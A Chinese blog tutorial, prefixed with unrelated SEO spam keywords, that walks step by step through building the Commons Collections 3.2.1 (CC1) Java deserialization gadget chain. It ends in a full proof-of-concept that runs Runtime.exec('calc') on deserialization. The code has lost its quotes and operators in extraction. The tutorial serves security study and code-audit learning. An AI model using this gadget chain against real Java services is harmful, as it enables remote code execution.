成都自助建站模板,青羊区区建设局网站,济南网站建设行知科技不错,云南省建设工程质量协会网站前言
cc链的研究可以说是非常适合java代码审计的入门篇了#xff0c;十分考验java代码功力#xff0c;其实也是基础功#xff0c;跨过了这个门槛#xff0c;在看看其他业务代码就会比较轻松了。不要说代码难#xff0c;看不懂#xff0c;作者也是刚入门java没几个月的小…前言
cc链的研究可以说是非常适合java代码审计的入门篇了十分考验java代码功力其实也是基础功跨过了这个门槛在看看其他业务代码就会比较轻松了。不要说代码难看不懂作者也是刚入门java没几个月的小白只要基本功扎实慢慢看 慢慢调式。你也会慢慢明白其中的运行逻辑。
环境准备
Java 存档下载 — Java SE 8 | Oracle 中国
https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
我们需要下载链接1的jdk版本安装高版本的jdk可能与本次调试的执行流不一致。之后我们需把链接2下载下来将sun目录拷贝到jre安装目录这样做的目的也是为了看到sun包下的源文件便于调式。最后在idea中将sun目录加进去。 将本次用的lib库 commos-collections-3.2.1 下载下来添加进去 现在上本次测试的代码正常正常执行后 会弹出本次的计算器。
package com.aqn.core;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class POC {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {//Runtime r Runtime.getRuntime();/* Class c Runtime.class;Method getRuntimeMethod c.getMethod(getRuntime, null);Runtime r (Runtime) getRuntimeMethod.invoke(null, null);Method execMethod c.getMethod(exec, String.class);execMethod.invoke(r,calc);*//* Method getRuntimeMethod (Method)new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime, null}).transform(Runtime.class);
Runtime r (Runtime) new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}).transform(r);
*/Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime, null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})
};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);//chainedTransformer.transform(Runtime.class);
//InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMapObject, Object map new HashMap();map.put(value,bbb);MapObject,Object transformedMap TransformedMap.decorate(map,null,chainedTransformer);
/* for(Map.Entry entry:transformedMap.entrySet()){// entry.setValue(Runtime.class);}*///AnnotationInvocationHandler/* Reader*/Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationInvocationdhdlConstructor c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationdhdlConstructor.setAccessible(true);Object o annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);unserialize(ser.bin);
}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object obj ois.readObject();return obj;}
}
接下来我会一步地一步地的分析 是怎么从最开始的代码一步一步地写成这样。
前置知识
一段调用本机计算器的poc代码
Runtime.getRuntime().exec(calc);
没错是可以执行调用的现在改写成反射调用的反射、
Runtime r Runtime.getRuntime();
Class c Runtime.class;
Method execMethod c.getMethod(exec, String.class);
execMethod.invoke(r,calc);
正片开始....
commons-collections 介绍
commons-collections 是 Apache Commons 项目中的一个子项目它提供了一组有用的集合类这些类扩展了 Java 标准库中的集合类并提供了许多额外的功能。
commons-collections 包含了许多常用的数据结构和算法包括列表、队列、堆、映射等。它还提供了许多集合的实用工具类如 CollectionUtils、MapUtils、PredicateUtils 等用于简化集合操作。
影响版本 3.2.2
InvokerTransformer 任意方法反射调用
InvokerTransformer继承接口Transformer, 接口Transformer只有一个方法transform(Object init)
public class InvokerTransformer implements Transformer, Serializable
它其中的一个构造函数接收方法名方法参数类型方法参数(数组)
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName methodName;this.iParamTypes paramTypes;this.iArgs args;
}
类InvokerTransformer中有一个transform的方法(可接收实例化对象)(也是对接口Transformer的实现), 欲将刚才接收的方法 通过反射实现。
public Object transform(Object input) {if (input null) {return null;} else {try {Class cls input.getClass();Method method cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var4) {throw new FunctorException(InvokerTransformer: The method this.iMethodName on input.getClass() does not exist);} catch (IllegalAccessException var5) {throw new FunctorException(InvokerTransformer: The method this.iMethodName on input.getClass() cannot be accessed);} catch (InvocationTargetException var6) {throw new FunctorException(InvokerTransformer: The method this.iMethodName on input.getClass() threw an exception, var6);}}
}
仔细看method.invoke(input, this.iArgs); 其中method,inputiargs都是我们可控的参数因此是可以实现任意方法的反射调用。
现在看一下Runtime.getRuntime().exec(calc); 的普通反射
Runtime r Runtime.getRuntime();
Class c Runtime.class;
Method execMethod c.getMethod(exec, String.class);
execMethod.invoke(r,calc);
由此和InvokerTransformer结合生成 调用calc代码
初步建立利用链
Runtime r Runtime.getRuntime();
new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);
思考谁调用了中的transform(同名即可)方法 目标回到object右键Find Usages
调用transform
类TransformedMap 的继承实现关系
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable 类TransformedMap中 有checkSetValue方法(protected只能被自己调用) 调用了transform
protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);
}
valueTransformer是否可控看一看TransformedMap的构造函数(也是protected)
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer keyTransformer;this.valueTransformer valueTransformer;
}
的确可控那么类中谁可以调用TransformedMap方法呢
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}
类TransformedMap中 的静态方法decorate 可以调用TransformedMap的构造方法 顺便实例化了TransformedMap类
由此我们可以再次改进代码。(用静态方法调用产生实例这里跟设计模式理念有关)
InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});
HashMapObject, Object map new HashMap();
TransformedMap transformedMap (TransformedMap)TransformedMap.decorate(map,null,invokerTransformer);
如此 现在只需调用类transformedMap中的 checkSetValue(Object value) 方法, value 需是Runtime实例化对象r 便可执行calc了。
一样的套路继续需找调用checkSetValue方法的地方
在类TransformedMap的父类AbstractInputCheckedMapDecorator中有一个静态内部类
static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent parent;}public Object setValue(Object value) {value this.parent.checkSetValue(value);return this.entry.setValue(value);}...
}
其中方法setValue调用了 checkSetValue那么参数是否可控呢查看它的构造函数。
value可控 可以把setValue的参数传进去也就是传入Runtime实例化对象r
parent 可控 可以由静态类MapEntry 的构造方法传进去由于TransformedMap继承了AbstractInputCheckedMapDecorator 所以欲传入TransformedMap是可行的
如果上述parent 参数调整好后就要考虑谁可以调用方法setValue 相关参数是都可控
正常来讲 要遍历map使用MapEntry 就会调用setValue ,而参数value可控 就是map键值对的value
现在欲调整代码setValue
Runtime r Runtime.getRuntime();
InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});
HashMapObject, Object map new HashMap();
map.put(key,value);
MapObject,Object transformedMap TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}
接下分析下此段代码的执行流这里我不得不运行调试了因为遍历map有很多规则都是编译器执行的仅靠分析源码还是很困难的。
TransformedMap中没有entrySet() 父类AbstractInputCheckedMapDecorator有
public Set entrySet() {return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}
追入this.isSetValueChecking() this就是transformedMap
protected boolean isSetValueChecking() {return this.valueTransformer ! null;
}
valueTransformer就是之前设置的invokerTransformer不为空 返回true进入new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this)
static class EntrySet extends AbstractSetDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {super(set);this.parent parent;}
}
用内部静态类的构造器EntrySet() 实例化EntrySet类其中parent是对象TransformedMap
接下来就是遍历准备了调试进入代码
public Iterator iterator() {return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}
这里this是AbstractInputCheckedMapDecorator$EntrySet 可以看到TransformedMap 传进去了this.parent。
跟踪到EntrySetIterator
static class EntrySetIterator extends AbstractIteratorDecorator {private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {super(iterator);this.parent parent;}
}
可以看到将我们的TransformedMap 存入到了EntrySetIterator类中了
由此得出iterator方法的结论实例化了AbstractInputCheckedMapDecorator的内部静态类EntrySetIterator之后返回主代码 开始遍历
public boolean hasNext() {return this.iterator.hasNext();
}
再次调试进入
public Object next() {Entry entry (Entry)this.iterator.next();return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}
可以看到又实例化了AbstractInputCheckedMapDecorator.MapEntry(静态内部类) 而且传入的参数就是准备的TransformedMapthis.parent。
为什么这么说呢因为这里的this是AbstractlnputCheckedMapDecorator$EntrySetlterator516还记得之前将TransformedMap存入到此类中吗没错TransformedMap对象又一次传入了MapEntry
static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent parent;
}
...
此刻是不是parent的问题解决了 接下来就是参数value了。
以上调试代码
Runtime r Runtime.getRuntime();
InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});
HashMapObject, Object map new HashMap();
map.put(key,value);
MapObject,Object transformedMap TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}
在类AnnotationInvocationHandler中 有readObject方法调用了setValue
package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType null;try {annotationType AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException(Non-annotation type in annotation serial stream);}
MapString, Class? memberTypes annotationType.memberTypes();
// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) { // i.e. member still existsObject value memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}}
}
看一看类中AnnotationInvocationHandler 有什么参数是直接可以控制的 AnnotationInvocationHandler(Class? extends Annotation type, MapString, Object memberValues) {Class?[] superInterfaces type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length ! 1 ||superInterfaces[0] ! java.lang.annotation.Annotation.class)throw new AnnotationFormatError(Attempt to create proxy for a non-annotation type.);this.type type;this.memberValues memberValues;}
注意上述代码的memberValues 这个map类型的参数待会在readObject方法中可是要 执行memberValues.entrySet()来遍历的
这是不是非常像之前我们写的map遍历那么现在不同了 既然AnnotationInvocationHandler类readObject方法中有这个遍历的操作那么我们的写的遍历操作就不必了这也是解决parent的问题的
由于AnnotationInvocationHandler类没有public 就是默认的default 无法在主程序中获取 我们需要进行反射。
Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);
Constructor annotationInvocationdhdlConstructor c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize(ser.bin);
序列化函数参考
public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object obj ois.readObject();return obj;}
因为序列化已经调用了AnnotationInvocationHandler的readObject方法了
现在考虑下要传进入的对象r了看setvalue哪里
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}
传入的参数似乎是不可控的那有没有其他的解决方案呢不传参行不行
无法传参问题
这次我们不传参了 使用反射的机配合InvokerTransformer机制实例化Runtime r
现在先对下面的代码优化一下使用InvokerTransformer进行改进
Runtime r Runtime.getRuntime();
Class c Runtime.class;
Method execMethod c.getMethod(exec, String.class);
execMethod.invoke(r,calc);
Method getRuntimeMethod (Method)new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime, null}).transform(Runtime.class);
Runtime r (Runtime) new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}).transform(r);
这里还可以继续改进使用ChainedTransformer递归调用
Transformer[] transformers new Transformer[]{new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime, null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})
};
ChainedTransformer chainedTransformer new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
看一下ChainedTransformer类
public class ChainedTransformer implements Transformer, Serializable {private static final long serialVersionUID 3514945074733160196L;private final Transformer[] iTransformers;...
此类中也有一个transform的方法
public Object transform(Object object) {for(int i 0; i this.iTransformers.length; i) {object this.iTransformers[i].transform(object);}
return object;
}
这段代码的逻辑将上一个执行的返回参数传递给本次执行参数所以上述代码的修改是可行的不过我们需要传递Runtime.class作为第一个要处理的object有没有方法不传递呢
有这么一个有趣的类ConstantTransformer
public class ConstantTransformer implements Transformer, Serializable {...private final Object iConstant;...
构造函数
public ConstantTransformer(Object constantToReturn) {this.iConstant constantToReturn;
}
它也有transform方法
public Object transform(Object input) {return this.iConstant;
}
只所以说它有趣是因为它的transform返回之前的构造函数传参对象
这样不是解决了Runtime.class 要作为一个参数的问题
于是这样的代码产生了
public class POC {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime, null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject, Object map new HashMap();map.put(aaa,bbb);MapObject,Object transformedMap TransformedMap.decorate(map,null,chainedTransformer);
Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationInvocationdhdlConstructor c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationdhdlConstructor.setAccessible(true);Object o annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
serialize(o);unserialize(ser.bin);}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object obj ois.readObject();return obj;}
}
现在不用传参也可以了 只剩下最后一个问题了 确保真的进入了setValue(),
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();
// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType null;try {annotationType AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException(Non-annotation type in annotation serial stream);}MapString, Class? memberTypes annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) { // i.e. member still existsObject value memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}}
}
这此之前有两个if条件要为真
注解绕过
重点看这段AnnotationInvocationHandler类中的readobject()方法的代码 String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) { // i.e. member still exists
还记得反序列化先我们AnnotationInvocationHandler 存入什么了吗(以下面的代码为例分析)
HashMapObject, Object map new HashMap();
map.put(aaa,bbb);
Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);
Constructor annotationInvocationdhdlConstructor c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
它的内部成员 typememberValues 分别是我们传入的注解Override 和 Map
变memberValues 为memberValue 调用getKey() 得到键值队的键; (这里得到的值就是aaa)。 Class? memberType memberTypes.get(name);
这里name是你要查找的成员类型的名称。这个方法将返回与该名称对应的成员类型Class对象。如果memberTypes中没有与该名称对应的成员类型那么这个方法将返回null、(本质上有键值对的key得到value 这里面的存的就是方法 和方法类型后面会有分析)
memberType要想不为空,memberTypes的成员必需要有namename是我们的可控参数。
追踪调试memberTypes是怎么来的是否可控向上找
MapString, Class? memberTypes annotationType.memberTypes();
进入annotationType.memberTypes()
public MapString, Class? memberTypes() {return memberTypes;
}
memberTypes在annotationType中定义那么这个成员是何时被赋值的呢
private final MapString, Class? memberTypes;
右键寻找调用者 readobject 中用了他(memberTypes)
annotationType AnnotationType.getInstance(type);private AnnotationType(final Class? extends Annotation annotationClass) {if (!annotationClass.isAnnotation())throw new IllegalArgumentException(Not an annotation type);
Method[] methods AccessController.doPrivileged(new PrivilegedActionMethod[]() {public Method[] run() {// Initialize memberTypes and defaultValuesreturn annotationClass.getDeclaredMethods();}});
memberTypes new HashMapString,Class?(methods.length1, 1.0f);memberDefaults new HashMapString, Object(0);members new HashMapString, Method(methods.length1, 1.0f);
for (Method method : methods) {if (method.getParameterTypes().length ! 0)throw new IllegalArgumentException(method has params);String name method.getName();Class? type method.getReturnType();memberTypes.put(name, invocationHandlerReturnType(type));members.put(name, method);...
传入的type是我们可控制可传入的注解类
简单看一下代码逻辑传入的名称变为了annotationClassannotationClass.getDeclaredMethods() 得到该类的成员方法名称
for (Method method : methods) 遍历这个方法数组
String name method.getName(); Class? type method.getReturnType(); memberTypes.put(name, invocationHandlerReturnType(type)); members.put(name, method);
从代码上看memberTypes 为map 键值对的键存方法名称 值为方法的类型
故我们找一个有成员方法的注解 将该方法的名作为传入map 的键名如此一来memberType就是该方法的类型 这样不为空就可以进去if了
在Override的邻居里 有一个Target的注解 它里面可是有成员方法的
Documented
Retention(RetentionPolicy.RUNTIME)
Target(ElementType.ANNOTATION_TYPE)
public interface Target {/*** Returns an array of the kinds of elements an annotation type* can be applied to.* return an array of the kinds of elements an annotation type* can be applied to*/ElementType[] value();
}
那好我们把这个注解传入键入AnnotationInvocationHandler map的键设置 为value
最终形成代码如下
package com.aqn.core;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class POC {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime, null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})
};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);
HashMapObject, Object map new HashMap();map.put(value,bbb);MapObject,Object transformedMap TransformedMap.decorate(map,null,chainedTransformer);
Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotationInvocationdhdlConstructor c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationdhdlConstructor.setAccessible(true);Object o annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);unserialize(ser.bin);
}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object obj ois.readObject();return obj;}
}
成功跳出计算器